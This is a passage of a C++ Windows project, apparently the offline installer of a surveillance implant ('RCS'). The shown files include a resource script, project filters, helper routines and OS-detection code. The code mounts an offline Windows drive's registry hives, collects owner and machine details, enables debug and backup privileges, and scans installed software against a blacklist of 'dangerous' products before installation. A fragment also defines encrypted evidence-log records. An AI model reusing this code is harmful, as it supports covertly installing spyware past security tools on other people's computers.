162 | "#define _AFX_NO_TRACKER_RESOURCES\r\n"
163 | "#define _AFX_NO_PROPERTY_RESOURCES\r\n"
164 | "\r\n"
165 | "#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)\r\n"
166 | "LANGUAGE 9, 1\r\n"
167 | "#pragma code_page(1252)\r\n"
168 | "#include ""res\\OfflineInstall.rc2"" // non-Microsoft Visual C++ edited resources\r\n"
169 | "#include ""afxres.rc"" // Standard components\r\n"
170 | "#endif\r\n"
171 | "\0"
172 | END
173 |
174 | #endif // APSTUDIO_INVOKED
175 |
176 |
177 | /////////////////////////////////////////////////////////////////////////////
178 | //
179 | // Icon
180 | //
181 |
182 | // Icon with lowest ID value placed first to ensure application icon
183 | // remains consistent on all systems.
184 | IDR_MAINFRAME ICON "res\\OfflineInstall.ico"
185 | IDI_ICON3 ICON "res\\admin-off.ico"
186 | IDI_ICON4 ICON "res\\admin-on.ico"
187 | IDI_ICON5 ICON "res\\user-off.ico"
188 | IDI_ICON6 ICON "res\\user-on.ico"
189 | IDI_ICON8 ICON "res\\rcs-ok.ico"
190 | IDI_ICON9 ICON "res\\rcs-ko.ico"
191 | IDI_ICON10 ICON "res\\rcs-no.ico"
192 | IDI_ICON1 ICON "res\\windows-on.ico"
193 | IDI_ICON2 ICON "res\\windows-off.ico"
194 | IDI_ICON7 ICON "res\\domain-on.ico"
195 | IDI_ICON11 ICON "res\\macos-on.ico"
196 | IDI_ICON12 ICON "res\\macos-off.ico"
197 |
198 | /////////////////////////////////////////////////////////////////////////////
199 | //
200 | // Menu
201 | //
202 |
203 | IDR_MENU1 MENU
204 | BEGIN
205 | POPUP "Select Items"
206 | BEGIN
207 | MENUITEM "Select All", ID_SELECTALL_UNSELECTALL
208 | MENUITEM "Unselect All", ID_SELECTITEMS_UNSELECTALL
209 | END
210 | END
211 |
212 |
213 | /////////////////////////////////////////////////////////////////////////////
214 | //
215 | // Bitmap
216 | //
217 |
218 | IDB_BITMAP1 BITMAP "res\\windows-off.bmp"
219 | IDB_BITMAP2 BITMAP "res\\windows-on.bmp"
220 | IDB_BITMAP3 BITMAP "res\\macos-off.bmp"
221 | IDB_BITMAP4 BITMAP "res\\macos-on.bmp"
222 | #endif // Italian (Italy) resources
223 | /////////////////////////////////////////////////////////////////////////////
224 |
225 |
226 |
227 | #ifndef APSTUDIO_INVOKED
228 | /////////////////////////////////////////////////////////////////////////////
229 | //
230 | // Generated from the TEXTINCLUDE 3 resource.
231 | //
232 | #define _AFX_NO_SPLITTER_RESOURCES
233 | #define _AFX_NO_OLE_RESOURCES
234 | #define _AFX_NO_TRACKER_RESOURCES
235 | #define _AFX_NO_PROPERTY_RESOURCES
236 |
237 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
238 | LANGUAGE 9, 1
239 | #pragma code_page(1252)
240 | #include "res\OfflineInstall.rc2" // non-Microsoft Visual C++ edited resources
241 | #include "afxres.rc" // Standard components
242 | #endif
243 |
244 | /////////////////////////////////////////////////////////////////////////////
245 | #endif // not APSTUDIO_INVOKED
246 |
247 |
--------------------------------------------------------------------------------
/OfflineInstall/OfflineInstall.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {1944d5b8-771e-4d48-ac9e-251155709595}
10 |
11 |
12 | {a86ff98a-c3a2-4f82-95b5-32de72585dd9}
13 |
14 |
15 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
16 | h;hpp;hxx;hm;inl;inc;xsd
17 |
18 |
19 | {20abffdc-d1fe-4901-913c-e7111d8befe9}
20 |
21 |
22 | {609671ec-8a9d-4400-9ce3-383184a984a9}
23 |
24 |
25 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
26 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav
27 |
28 |
29 |
30 |
31 | Source Files
32 |
33 |
34 | Source Files
35 |
36 |
37 | Source Files
38 |
39 |
40 | Source Files
41 |
42 |
43 | Source Files
44 |
45 |
46 | Source Files
47 |
48 |
49 | Source Files
50 |
51 |
52 | Source Files
53 |
54 |
55 | Source Files\WIN
56 |
57 |
58 | Source Files\WIN
59 |
60 |
61 | Source Files\WIN
62 |
63 |
64 | Source Files\WIN
65 |
66 |
67 | Source Files\MAC
68 |
69 |
70 | Source Files\MAC
71 |
72 |
73 | Source Files\MAC
74 |
75 |
76 | Source Files
77 |
78 |
79 | Source Files
80 |
81 |
82 |
83 |
84 | Header Files
85 |
86 |
87 | Header Files
88 |
89 |
90 | Header Files
91 |
92 |
93 | Header Files
94 |
95 |
96 | Header Files
97 |
98 |
99 | Header Files
100 |
101 |
102 | Header Files
103 |
104 |
105 | Header Files
106 |
107 |
108 | Header Files
109 |
110 |
111 | Header Files
112 |
113 |
114 | Header Files\WIN
115 |
116 |
117 | Header Files\WIN
118 |
119 |
120 | Header Files\WIN
121 |
122 |
123 | Header Files\WIN
124 |
125 |
126 | Header Files\MAC
127 |
128 |
129 | Header Files\MAC
130 |
131 |
132 | Header Files\MAC
133 |
134 |
135 | Header Files
136 |
137 |
138 |
139 |
140 | Resource Files
141 |
142 |
143 | Resource Files
144 |
145 |
146 | Resource Files
147 |
148 |
149 | Resource Files
150 |
151 |
152 | Resource Files
153 |
154 |
155 | Resource Files
156 |
157 |
158 | Resource Files
159 |
160 |
161 | Resource Files
162 |
163 |
164 | Resource Files
165 |
166 |
167 | Resource Files
168 |
169 |
170 | Resource Files
171 |
172 |
173 | Resource Files
174 |
175 |
176 | Resource Files
177 |
178 |
179 | Resource Files
180 |
181 |
182 | Resource Files
183 |
184 |
185 | Resource Files
186 |
187 |
188 | Resource Files
189 |
190 |
191 | Resource Files
192 |
193 |
194 | Resource Files
195 |
196 |
197 | Resource Files
198 |
199 |
200 | Resource Files
201 |
202 |
203 | Resource Files
204 |
205 |
206 | Resource Files
207 |
208 |
209 | Resource Files
210 |
211 |
212 | Resource Files
213 |
214 |
215 | Resource Files
216 |
217 |
218 | Resource Files
219 |
220 |
221 | Resource Files
222 |
223 |
224 | Resource Files
225 |
226 |
227 | Resource Files
228 |
229 |
230 | Resource Files
231 |
232 |
233 | Resource Files
234 |
235 |
236 | Resource Files
237 |
238 |
239 | Resource Files
240 |
241 |
242 | Resource Files
243 |
244 |
245 | Resource Files
246 |
247 |
248 | Resource Files
249 |
250 |
251 |
252 |
253 |
254 |
255 | Resource Files
256 |
257 |
258 |
--------------------------------------------------------------------------------
/OfflineInstall/commons.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | #include "commons.h"
3 | #include
4 | #include
5 |
6 | // La stringa tornata va liberata
7 | WCHAR *UTF8_2_UTF16(char *str)
8 | {
9 | DWORD wclen;
10 | WCHAR *wcstr;
11 |
12 | if ( (wclen = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0)) == 0 )
13 | return NULL;
14 |
15 | if ( !(wcstr = (WCHAR *)malloc(wclen*sizeof(WCHAR))) )
16 | return NULL;
17 |
18 | if ( MultiByteToWideChar(CP_UTF8, 0, str, -1, wcstr, wclen) == 0 ) {
19 | free(wcstr);
20 | return NULL;
21 | }
22 |
23 | return wcstr;
24 | }
25 |
26 | void ClearAttributes(WCHAR *fname)
27 | {
28 | SetFileAttributes(fname, FILE_ATTRIBUTE_NORMAL);
29 | }
30 |
31 | BOOL DeleteDirectory(WCHAR *dir_path)
32 | {
33 | WCHAR temp_path[MAX_PATH];
34 | HANDLE hFind;
35 | WIN32_FIND_DATA file_info;
36 |
37 | // Cancella il contenuto ricorsivamente
38 | swprintf_s(temp_path, MAX_PATH, L"%s\\*", dir_path);
39 | hFind = FindFirstFile(temp_path, &file_info);
40 | if (hFind != INVALID_HANDLE_VALUE) {
41 | do {
42 | // Salta le directory (es: ".", ".." etc...)
43 | if (!wcscmp(file_info.cFileName, L".") || !wcscmp(file_info.cFileName, L".."))
44 | continue;
45 |
46 | swprintf_s(temp_path, MAX_PATH, L"%s\\%s", dir_path, file_info.cFileName);
47 |
48 | if (file_info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
49 | DeleteDirectory(temp_path);
50 | continue;
51 | }
52 |
53 | ClearAttributes(temp_path);
54 | DeleteFile(temp_path);
55 | } while (FindNextFile(hFind, &file_info));
56 | FindClose(hFind);
57 | }
58 |
59 | // Cancella la directory
60 | ClearAttributes(dir_path);
61 | return RemoveDirectory(dir_path);
62 | }
63 |
64 | WCHAR *SlashToBackSlash(WCHAR *string)
65 | {
66 | static WCHAR path[MAX_PATH];
67 | WCHAR *ptr;
68 |
69 | if (!string)
70 | return NULL;
71 |
72 | wcscpy_s(path, MAX_PATH, string);
73 |
74 | ptr = path;
75 | do {
76 | if (*ptr == L'/')
77 | *ptr = L'\\';
78 | } while(*(++ptr));
79 |
80 | return path;
81 | }
82 |
83 | char *SkipUnprintable(char *start_ptr)
84 | {
85 | for(; *start_ptr<=0x20; start_ptr++);
86 | return start_ptr;
87 | }
88 |
89 | WCHAR *GetValueForKey(WCHAR *file_path, char *key_name, DWORD n_entry)
90 | {
91 | HANDLE hfile, hmap;
92 | char key_tag[128], *xml_ptr, *search_ptr, *close_array_ptr;
93 | WCHAR *key_value = NULL, *end_ptr;
94 | DWORD file_size;
95 |
96 | if (n_entry == 0)
97 | return NULL;
98 |
99 | sprintf_s(key_tag, sizeof(key_tag), "%s", key_name);
100 | hfile = CreateFile(file_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
101 | if (hfile == INVALID_HANDLE_VALUE)
102 | return NULL;
103 |
104 | file_size = GetFileSize(hfile, NULL);
105 | if (file_size == INVALID_FILE_SIZE) {
106 | CloseHandle(hfile);
107 | return NULL;
108 | }
109 |
110 | hmap = CreateFileMapping(hfile, NULL, PAGE_READONLY, 0, file_size, NULL);
111 | if (!hmap) {
112 | CloseHandle(hfile);
113 | return NULL;
114 | }
115 |
116 | xml_ptr = (char *)MapViewOfFile(hmap, FILE_MAP_READ, 0, 0, 0);
117 | if (!xml_ptr) {
118 | CloseHandle(hmap);
119 | CloseHandle(hfile);
120 | return NULL;
121 | }
122 |
123 | if (search_ptr = strstr(xml_ptr, key_tag)) {
124 | search_ptr+=strlen(key_tag);
125 | search_ptr = SkipUnprintable(search_ptr);
126 | if (!strncmp(search_ptr, "", strlen(""))) {
127 | close_array_ptr = strstr(search_ptr, "");
128 | if (close_array_ptr) {
129 | for(; n_entry && (search_ptr=strstr(++search_ptr, "")); n_entry--);
130 | if (search_ptr && search_ptr");
132 | key_value = (WCHAR *)calloc(256, sizeof(WCHAR));
133 | if (key_value) {
134 | _snwprintf_s(key_value, 256, _TRUNCATE, L"%S", search_ptr);
135 | end_ptr = wcswcs(key_value, L"");
136 | if (end_ptr)
137 | end_ptr[0] = 0;
138 | }
139 | }
140 | }
141 | } else if (!strncmp(search_ptr, "", strlen(""))) {
142 | if (n_entry == 1) {
143 | search_ptr+=strlen("");
144 | key_value = (WCHAR *)calloc(256, sizeof(WCHAR));
145 | if (key_value) {
146 | _snwprintf_s(key_value, 256, _TRUNCATE, L"%S", search_ptr);
147 | end_ptr = wcswcs(key_value, L"");
148 | if (end_ptr)
149 | end_ptr[0] = 0;
150 | }
151 | }
152 | }
153 | }
154 |
155 | UnmapViewOfFile(xml_ptr);
156 | CloseHandle(hmap);
157 | CloseHandle(hfile);
158 | return key_value;
159 | }
160 |
161 | void SetPrivilege(LPCWSTR privilege)
162 | {
163 | HANDLE hProc = 0, hProcToken = 0;
164 | TOKEN_PRIVILEGES tp;
165 | LUID luid;
166 |
167 | do {
168 | if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hProcToken) )
169 | break;
170 | if (!LookupPrivilegeValue (NULL, privilege , &luid))
171 | break;
172 |
173 | ZeroMemory (&tp, sizeof (tp));
174 | tp.PrivilegeCount = 1;
175 | tp.Privileges[0].Luid = luid;
176 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
177 |
178 | AdjustTokenPrivileges (hProcToken, FALSE, (TOKEN_PRIVILEGES *)&tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
179 | } while (FALSE);
180 |
181 | if (hProcToken)
182 | CloseHandle (hProcToken);
183 | if (hProc)
184 | CloseHandle(hProc);
185 | }
186 |
187 | void ReadRegValue(WCHAR *subkey, WCHAR *value, DWORD *type, WCHAR **buffer)
188 | {
189 | DWORD size = NULL;
190 | HKEY hreg;
191 |
192 | if (type)
193 | *type = 0;
194 |
195 | if (buffer)
196 | *buffer = NULL;
197 |
198 | if (RegOpenKey(HKEY_LOCAL_MACHINE, subkey, &hreg) != ERROR_SUCCESS)
199 | return;
200 |
201 | if (RegQueryValueEx(hreg, value, NULL, type, NULL, &size) != ERROR_SUCCESS) {
202 | RegCloseKey(hreg);
203 | return;
204 | }
205 |
206 | if (!buffer) {
207 | RegCloseKey(hreg);
208 | return;
209 | }
210 |
211 | *buffer = (WCHAR *)calloc(size+2, 1);
212 | if (!(*buffer)) {
213 | RegCloseKey(hreg);
214 | return;
215 | }
216 |
217 | if (RegQueryValueEx(hreg, value, NULL, type, (LPBYTE)(*buffer), &size) != ERROR_SUCCESS) {
218 | RegCloseKey(hreg);
219 | SAFE_FREE((*buffer));
220 | return;
221 | }
222 |
223 | RegCloseKey(hreg);
224 | }
225 |
226 | BOOL RegEnumSubKey(WCHAR *subkey, DWORD index, WCHAR **buffer)
227 | {
228 | BOOL ret_val = FALSE;
229 | WCHAR temp_buff[1024];
230 | DWORD size = NULL;
231 | *buffer = NULL;
232 | HKEY hreg = NULL;
233 |
234 | do {
235 | if (RegOpenKey(HKEY_LOCAL_MACHINE, subkey, &hreg) != ERROR_SUCCESS)
236 | break;
237 |
238 | memset(temp_buff, 0, sizeof(temp_buff));
239 | if (RegEnumKey(hreg, index, temp_buff, (sizeof(temp_buff)/sizeof(temp_buff[0]))-1) != ERROR_SUCCESS)
240 | break;
241 |
242 | if ( ! ( (*buffer) = (WCHAR *)calloc(wcslen(temp_buff)*2+2, sizeof(WCHAR)) ) )
243 | break;
244 |
245 | swprintf_s((*buffer), wcslen(temp_buff)+1, L"%s", temp_buff);
246 | ret_val = TRUE;
247 | } while(0);
248 |
249 | if (hreg)
250 | RegCloseKey(hreg);
251 |
252 | return ret_val;
253 | }
254 |
255 | DWORD AddAceToObjectsSecurityDescriptor (
256 | LPTSTR pszObjName, // name of object
257 | SE_OBJECT_TYPE ObjectType, // type of object
258 | LPTSTR pszTrustee, // trustee for new ACE
259 | TRUSTEE_FORM TrusteeForm, // format of trustee structure
260 | DWORD dwAccessRights, // access mask for new ACE
261 | ACCESS_MODE AccessMode, // type of ACE
262 | DWORD dwInheritance // inheritance flags for new ACE
263 | )
264 | {
265 | DWORD dwRes = 0;
266 | PACL pOldDACL = NULL, pNewDACL = NULL;
267 | PSECURITY_DESCRIPTOR pSD = NULL;
268 | EXPLICIT_ACCESS ea;
269 |
270 | if (NULL == pszObjName)
271 | return ERROR_INVALID_PARAMETER;
272 |
273 | dwRes = GetNamedSecurityInfo(pszObjName, ObjectType,
274 | DACL_SECURITY_INFORMATION,
275 | NULL, NULL, &pOldDACL, NULL, &pSD);
276 | if (ERROR_SUCCESS != dwRes)
277 | goto Cleanup;
278 |
279 | ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
280 | ea.grfAccessPermissions = dwAccessRights;
281 | ea.grfAccessMode = AccessMode;
282 | ea.grfInheritance= dwInheritance;
283 | ea.Trustee.TrusteeForm = TrusteeForm;
284 | ea.Trustee.ptstrName = pszTrustee;
285 |
286 | dwRes = SetEntriesInAcl(1, &ea, pOldDACL, &pNewDACL);
287 | if (ERROR_SUCCESS != dwRes)
288 | goto Cleanup;
289 |
290 | dwRes = SetNamedSecurityInfo(pszObjName, ObjectType,
291 | DACL_SECURITY_INFORMATION,
292 | NULL, NULL, pNewDACL, NULL);
293 | if (ERROR_SUCCESS != dwRes)
294 | goto Cleanup;
295 |
296 | Cleanup:
297 | if(pSD != NULL)
298 | LocalFree((HLOCAL) pSD);
299 | if(pNewDACL != NULL)
300 | LocalFree((HLOCAL) pNewDACL);
301 |
302 | return dwRes;
303 | }
304 |
305 | int CmpWildW(WCHAR *wild, WCHAR *string)
306 | {
307 | WCHAR *cp = NULL, *mp = NULL;
308 |
309 | while ((*string) && (*wild != '*')) {
310 | if ((towupper((WCHAR)*wild) != towupper((WCHAR)*string)) && (*wild != '?')) {
311 | return 0;
312 | }
313 | wild++;
314 | string++;
315 | }
316 |
317 | while (*string) {
318 | if (*wild == '*') {
319 | if (!*++wild) {
320 | return 1;
321 | }
322 |
323 | mp = wild;
324 | cp = string+1;
325 | } else if ((towupper((WCHAR)*wild) == towupper((WCHAR)*string)) || (*wild == '?')) {
326 | wild++;
327 | string++;
328 | } else {
329 | wild = mp;
330 | string = cp++;
331 | }
332 | }
333 |
334 | while (*wild == '*') {
335 | wild++;
336 | }
337 |
338 | return !*wild;
339 | }
340 |
341 | void GeneralInit()
342 | {
343 | SetPrivilege(SE_RESTORE_NAME);
344 | SetPrivilege(SE_BACKUP_NAME);
345 | SetPrivilege(SE_SYSTEM_PROFILE_NAME);
346 | SetPrivilege(SE_DEBUG_NAME);
347 | }
348 |
349 |
350 |
--------------------------------------------------------------------------------
/OfflineInstall/Functions_OS_WIN.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | #include "commons.h"
3 | #include "Functions_OS.h"
4 | #include "Functions_Users.h"
5 | #include "Functions_RCS.h"
6 |
7 | BOOL Time1970ToSystemTime(DWORD toffset, SYSTEMTIME *sys_time)
8 | {
9 | SYSTEMTIME age_time_s;
10 | FILETIME age_time_f;
11 | ULARGE_INTEGER nanosec_time, nanosec_offset;
12 |
13 | memset(&age_time_s, 0, sizeof(age_time_s));
14 | age_time_s.wDay = 1;
15 | age_time_s.wMonth = 1;
16 | age_time_s.wYear = 1970;
17 | if (!SystemTimeToFileTime(&age_time_s, &age_time_f))
18 | return FALSE;
19 |
20 | nanosec_offset.QuadPart = (unsigned int)toffset;
21 | nanosec_offset.QuadPart *= 10000000;
22 |
23 | nanosec_time.HighPart = age_time_f.dwHighDateTime;
24 | nanosec_time.LowPart = age_time_f.dwLowDateTime;
25 | nanosec_time.QuadPart += nanosec_offset.QuadPart;
26 |
27 | age_time_f.dwHighDateTime = nanosec_time.HighPart;
28 | age_time_f.dwLowDateTime = nanosec_time.LowPart;
29 |
30 | return FileTimeToSystemTime(&age_time_f, sys_time);
31 | }
32 |
33 | DWORD WIN_GetArch(os_struct_t *os_info)
34 | {
35 | WCHAR wow64_path[MAX_PATH];
36 | HANDLE hfile;
37 |
38 | swprintf_s(wow64_path, MAX_PATH, L"%s%s", os_info->drive, L"windows\\syswow64\\");
39 | hfile = CreateFile(wow64_path, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
40 | if (hfile != INVALID_HANDLE_VALUE) {
41 | CloseHandle(hfile);
42 | return 64;
43 | }
44 |
45 | return 32;
46 | }
47 |
48 | BOOL WIN_IsSupported(os_struct_t *os_info)
49 | {
50 | if ( !wcscmp(os_info->curr_ver, L"5.0") || // Windows 2000
51 | !wcscmp(os_info->curr_ver, L"5.1") || // Windows XP
52 | !wcscmp(os_info->curr_ver, L"5.2") || // Windows 2003
53 | !wcscmp(os_info->curr_ver, L"6.0") || // Windows Vista o 2008
54 | !wcscmp(os_info->curr_ver, L"6.1") || // Windows 7
55 | !wcscmp(os_info->curr_ver, L"6.2") || // Windows 8
56 | !wcscmp(os_info->curr_ver, L"6.3")) // Windows 8.1
57 | return TRUE;
58 |
59 | return FALSE;
60 | }
61 |
62 | // Se c'e' un software pericoloso torna uno dei seguenti valori
63 | // #define BL_BLACKLISTED 0
64 | // #define BL_SAFE 1
65 | // #define BL_ALLOWSOLDIER 2
66 | DWORD WIN_IsBlackListedSoftware(os_struct_t *os_struct)
67 | {
68 | HKEY hKeyUninstall = NULL, hKeyProgram = NULL;
69 | DWORD dwordval, index, len;
70 | WCHAR stringval[128], product[256];
71 | ULONG uSamDesidered = KEY_READ;
72 | WCHAR software_hive_path[MAX_PATH];
73 | WCHAR system_root[MAX_PATH];
74 | HANDLE hfile;
75 | DWORD i, t_ret;
76 | DWORD ret_val = BL_SAFE;
77 |
78 | ZeroMemory(os_struct->bl_software, sizeof(os_struct->bl_software));
79 |
80 | // Monta l'hive SOFTWARE
81 | swprintf_s(system_root, MAX_PATH, L"windows\\system32");
82 | swprintf_s(software_hive_path, MAX_PATH, L"%s%s%s", os_struct->drive, system_root, L"\\config\\software");
83 |
84 | hfile = CreateFile(software_hive_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
85 | if (hfile == INVALID_HANDLE_VALUE) {
86 | swprintf_s(system_root, MAX_PATH, L"winnt\\system32");
87 | swprintf_s(software_hive_path, MAX_PATH, L"%s%s%s", os_struct->drive, system_root, L"\\config\\software");
88 | hfile = CreateFile(software_hive_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
89 | if (hfile == INVALID_HANDLE_VALUE)
90 | return BL_BLACKLISTED;
91 | }
92 | CloseHandle(hfile);
93 | if (RegLoadKey(HKEY_LOCAL_MACHINE, L"RCS_SOFTWARE\\", software_hive_path) != ERROR_SUCCESS)
94 | return BL_BLACKLISTED;
95 |
96 | // Al primo giro guarda quelli a 32 poi quelli a 64bit
97 | for (i=0; i<2 && ret_val != BL_BLACKLISTED; i++) {
98 | do {
99 | index = 0;
100 | if (i == 0) {
101 | if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"RCS_SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", 0, uSamDesidered, &hKeyUninstall) != ERROR_SUCCESS)
102 | break;
103 | } else {
104 | if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"RCS_SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall", 0, uSamDesidered, &hKeyUninstall) != ERROR_SUCCESS)
105 | break;
106 | }
107 |
108 | while(1) {
109 | if(hKeyProgram) {
110 | RegCloseKey(hKeyProgram);
111 | hKeyProgram = NULL;
112 | }
113 |
114 | len = sizeof(stringval) / sizeof(stringval[0]);
115 | if(RegEnumKeyExW(hKeyUninstall, index++, stringval, &len, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) break;
116 |
117 | if(RegOpenKeyExW(hKeyUninstall, stringval, 0, KEY_READ, &hKeyProgram) != ERROR_SUCCESS) continue;
118 |
119 | if(!RegQueryValueExW(hKeyProgram, L"ParentKeyName", NULL, NULL, NULL, NULL)) continue;
120 |
121 | len = sizeof(dwordval);
122 | if(!RegQueryValueExW(hKeyProgram, L"SystemComponent", NULL, NULL, (LPBYTE)&dwordval, &len) && (dwordval == 1)) continue;
123 |
124 | len = sizeof(stringval);
125 | if(RegQueryValueExW(hKeyProgram, L"DisplayName", NULL, NULL, (LPBYTE)stringval, &len)) continue;
126 |
127 | wcsncpy_s(product, sizeof(product) / sizeof(product[0]), stringval, _TRUNCATE);
128 |
129 | len = sizeof(stringval);
130 | if(!RegQueryValueExW(hKeyProgram, L"DisplayVersion", NULL, NULL, (LPBYTE)stringval, &len)) {
131 | wcsncat_s(product, sizeof(product) / sizeof(product[0]), L" (", _TRUNCATE);
132 | wcsncat_s(product, sizeof(product) / sizeof(product[0]), stringval, _TRUNCATE);
133 | wcsncat_s(product, sizeof(product) / sizeof(product[0]), L")", _TRUNCATE);
134 | }
135 |
136 | t_ret = IsDangerousString(product, os_struct);
137 | if (t_ret == BL_ALLOWSOLDIER)
138 | ret_val = BL_ALLOWSOLDIER;
139 | else if (t_ret == BL_BLACKLISTED) {
140 | ret_val = BL_BLACKLISTED;
141 | _snwprintf_s(os_struct->bl_software, sizeof(os_struct->bl_software)/sizeof(os_struct->bl_software[0]), _TRUNCATE, L"%s", product);
142 | break;
143 | }
144 | }
145 | } while(0);
146 |
147 | if(hKeyUninstall) {
148 | RegCloseKey(hKeyUninstall);
149 | hKeyUninstall = NULL;
150 | }
151 | }
152 |
153 | RegUnLoadKey(HKEY_LOCAL_MACHINE, L"RCS_SOFTWARE\\");
154 | return ret_val;
155 | }
156 |
157 | BOOL RecognizeWindowsOS(WCHAR *drive_letter, os_struct_t *os_struct)
158 | {
159 | WCHAR software_hive_path[MAX_PATH];
160 | WCHAR system_hive_path[MAX_PATH];
161 | WCHAR system_root[MAX_PATH];
162 | HANDLE hfile;
163 | DWORD *temp_date;
164 | DWORD *temp_bias;
165 |
166 | // Vede se esiste l'hive (XP, Vista, 2000, etc.)
167 | // Cerca prima in \Windows e poi in \WinNT
168 | // Deve trovare sia SYSTEM che SOFTWARE per proseguire
169 | swprintf_s(system_root, MAX_PATH, L"windows\\system32");
170 | swprintf_s(system_hive_path, MAX_PATH, L"%s%s%s", drive_letter, system_root, L"\\config\\system");
171 |
172 | hfile = CreateFile(system_hive_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
173 | if (hfile == INVALID_HANDLE_VALUE) {
174 | swprintf_s(system_root, MAX_PATH, L"winnt\\system32");
175 | swprintf_s(system_hive_path, MAX_PATH, L"%s%s%s", drive_letter, system_root, L"\\config\\system");
176 | hfile = CreateFile(system_hive_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
177 | if (hfile == INVALID_HANDLE_VALUE)
178 | return FALSE;
179 | }
180 | CloseHandle(hfile);
181 | swprintf_s(software_hive_path, MAX_PATH, L"%s%s%s", drive_letter, system_root, L"\\config\\software");
182 | hfile = CreateFile(software_hive_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
183 | if (hfile == INVALID_HANDLE_VALUE)
184 | return FALSE;
185 | CloseHandle(hfile);
186 |
187 | // Monta l'hive
188 | if (RegLoadKey(HKEY_LOCAL_MACHINE, L"RCS_SYSTEM\\", system_hive_path) != ERROR_SUCCESS)
189 | return FALSE;
190 |
191 | if (RegLoadKey(HKEY_LOCAL_MACHINE, L"RCS_SOFTWARE\\", software_hive_path) != ERROR_SUCCESS) {
192 | RegUnLoadKey(HKEY_LOCAL_MACHINE, L"RCS_SYSTEM\\");
193 | return FALSE;
194 | }
195 |
196 | os_struct->os = WIN_OS;
197 | memcpy(os_struct->system_root, system_root, sizeof(system_root));
198 | ReadRegValue(L"RCS_SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ProductName", NULL, &(os_struct->product_name));
199 | ReadRegValue(L"RCS_SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"CSDVersion", NULL, &(os_struct->csd_version));
200 | ReadRegValue(L"RCS_SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"RegisteredOwner", NULL, &(os_struct->reg_owner));
201 | ReadRegValue(L"RCS_SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"RegisteredOrganization", NULL, &(os_struct->reg_org));
202 | ReadRegValue(L"RCS_SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ProductId", NULL, &(os_struct->product_id));
203 | ReadRegValue(L"RCS_SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"CurrentVersion", NULL, &(os_struct->curr_ver));
204 |
205 | ReadRegValue(L"RCS_SYSTEM\\ControlSet001\\Control\\ProductOptions", L"ProductType", NULL, &(os_struct->product_type));
206 | ReadRegValue(L"RCS_SYSTEM\\ControlSet001\\Control\\ComputerName\\ComputerName", L"ComputerName", NULL, &(os_struct->computer_name));
207 |
208 | ReadRegValue(L"RCS_SYSTEM\\ControlSet001\\Control\\TimeZoneInformation", L"ActiveTimeBias", NULL, (WCHAR **)&temp_bias);
209 | if (temp_bias) {
210 | os_struct->time_bias = *temp_bias;
211 | SAFE_FREE(temp_bias);
212 | } else
213 | os_struct->time_bias = 0;
214 |
215 | ReadRegValue(L"RCS_SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"InstallDate", NULL, (WCHAR **)&temp_date);
216 | if (temp_date) {
217 | Time1970ToSystemTime(*temp_date, &(os_struct->install_date));
218 | SAFE_FREE(temp_date);
219 | }
220 |
221 | os_struct->arch = WIN_GetArch(os_struct);
222 | os_struct->is_supported = WIN_IsSupported(os_struct); // Va chiamata per ultima...
223 |
224 | RegUnLoadKey(HKEY_LOCAL_MACHINE, L"RCS_SOFTWARE\\");
225 | RegUnLoadKey(HKEY_LOCAL_MACHINE, L"RCS_SYSTEM\\");
226 |
227 | os_struct->is_blacklisted = WIN_IsBlackListedSoftware(os_struct);
228 |
229 | return TRUE;
230 | }
231 |
--------------------------------------------------------------------------------
/OfflineInstall/DumpFiles.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | #include "aes_alg.h"
3 | #include "commons.h"
4 |
5 | #define CRYPT_COPY_BUF_LEN 102400
6 | #define PM_FILEAGENT_CAPTURE 0x00000001
7 | #define BLOCK_LEN 16
8 |
9 | typedef struct _LogStruct{
10 | UINT uVersion; // Versione della struttura
11 | #define LOG_VERSION 2008121901
12 | UINT uLogType; // Tipo di log
13 | UINT uHTimestamp; // Parte alta del timestamp
14 | UINT uLTimestamp; // Parte bassa del timestamp
15 | UINT uDeviceIdLen; // IMEI/Hostname len
16 | UINT uUserIdLen; // IMSI/Username len
17 | UINT uSourceIdLen; // Numero del caller/IP len
